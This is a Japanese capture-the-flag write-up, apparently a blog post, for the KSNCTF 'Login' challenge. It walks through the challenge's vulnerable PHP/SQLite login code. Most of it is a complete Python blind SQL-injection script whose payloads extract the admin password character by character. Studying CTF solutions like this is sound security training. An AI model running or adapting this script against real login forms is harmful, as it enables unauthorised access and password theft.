KSNCTF #5 Login

# Login

https://ksnctf.sweetduet.info/problem/6

## アクセスしてみる

![スクリーンショット 2025-05-07 163633.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4055936/ccf1760e-e690-4964-85b0-3509fdacfcfe.png)

とりあえず`First, login as "admin`と書いているのでIDをadminにして、有名なSQLインジェクションを試してみました。
![スクリーンショット 2025-05-07 170438.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4055936/d9a5bcbb-c4b7-44c7-971e-be3dbaa22105.png)

flagはadminのパスワードらしいです。

**コードを大まかに把握してみます。**

---

```php
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
```
`$id` : `'id'`から取得する、入力がなければ''(空白)を格納する
`$login` : 初期状態はログインできない状態
など定義されています。

if文の内部を見ると、
SQLiteというDBを使っていることがわかります。
また、`$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);`は、エラーが発生したときの振る舞いを決めています。
`ERRMODE_SILEN`なので、エラーが起きてもFalseを変えるだけです。脆弱性を考えると、エラーコードは表示しない方がいいですが、開発時は表示した方がいいと思います。

`$r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");`
ここはidとpassが一致しているデータを取得しています。

```php
<?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
```
`login`がFalseなら入力画面やエラー文などを表示し、Trueなら`Congratulation!~~`と表示されます。

## パスワードの特定

パスワードを特定するには、総当たりするしか道はなさそう。
コードから読み取れるのは、loginできるかできないかはbool値でのみ判断できることです。

- パスワードの長さを特定できる(パスワードの長さは`i`文字ですか？と繰り返し聞く)
- 「パスワードの6番目は`a`ですか？」と聞いて、Trueが出れば6番目の文字が特定できる

パスワードの長さがわからなくてもパスワードは特定できますが、今回は調べてみます。

```python
import requests

url = "https://ctfq.u1tramarine.blue/q6/"
pass_length = 0
passwd="FLAG_"

def pass_length_measure ():
    for i in range(20):
        length=5
        data ={
            'id' : 'admin',
            'pass' : f"' or (SELECT LENGTH(pass) FROM user WHERE id ='admin') > {length+i} --"
        }

        response = requests.post(url, data=data)

        if "Congratulations" not in response.text:
            pass_length = length+i
            break
    print(f"[+] 成功:パスワードの長さは「{length+i}」")
    return length+i

def passwd_search(char, length):
    global passwd
    data ={
            'id' : 'admin',
            'pass' : f"' or (SELECT substr(pass, {length}, 1) FROM user WHERE id ='admin') = '{char}' --"
    }
    
    response = requests.post(url, data=data)

    if "Congratulations" in response.text:
        passwd += char
        print(f"[+] 成功: pass = {passwd}")
        return True
    else:
        return False

def pass_crack(pass_length):
    length = 5
    while length != pass_length:
        length +=1
        for char in range (48, 123):    
            if passwd_search(chr(char), length):
                break


pass_length = pass_length_measure()
pass_crack(pass_length)
print(f"パスワードは「{passwd}」です。")
    
```
---
関数ごとに説明します。
まずはパスワードの長さを調べる関数です。
```python
def pass_length_measure ():
    for i in range(20):
        length=5
        data ={
            'id' : 'admin',
            'pass' : f"' or (SELECT LENGTH(pass) FROM user WHERE id ='admin') > {length+i} --"
        }

        response = requests.post(url, data=data)

        if "Congratulations" not in response.text:
            pass_length = length+i
            break
    print(f"[+] 成功:パスワードの長さは「{length+i}」")
    return length+i
```
- パスワードがflagという事で、「FLAG_」は確定しているので`length=5`としています。0でも問題ありません
    - 5から調べると単純に高速化される
- `f"' or (SELECT LENGTH(pass) FROM user WHERE id ='admin') > {length+i} --"`は、「パスワードは{length+i}より長いですか？」と問い合わせていて、長ければTrueとなります
    - Trueの場合、「Conguratulation!~~」と表示される
    - Falseの場合、エラーが表示される
    - Falseになった地点で長さを特定できる

---
特定の文字が含まれるか調べる関数です。
```python
def passwd_search(char, length):
    global passwd
    data ={
            'id' : 'admin',
            'pass' : f"' or (SELECT substr(pass, {length}, 1) FROM user WHERE id ='admin') = '{char}' --"
        }
```
- `substr(pass, {length}, 1)`は`pass`の`length`番目から1文字分取り出す作業になります

---
考えられる文字をすべて調べる関数です。
```python
def pass_crack(pass_length):
    length = 5
    while length != pass_length:
        length +=1
        for char in range (48, 123):    
            if passwd_search(chr(char), length):
                break
```
- `length = pass_length`になるまで繰り返します
- 大文字小文字英数字がすべて含まれる範囲range (48, 123)を指定しています

### 実行
![スクリーンショット 2025-05-08 080223.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4055936/64d8fe8b-50b8-4f6f-b540-f44ae6ecd47c.png)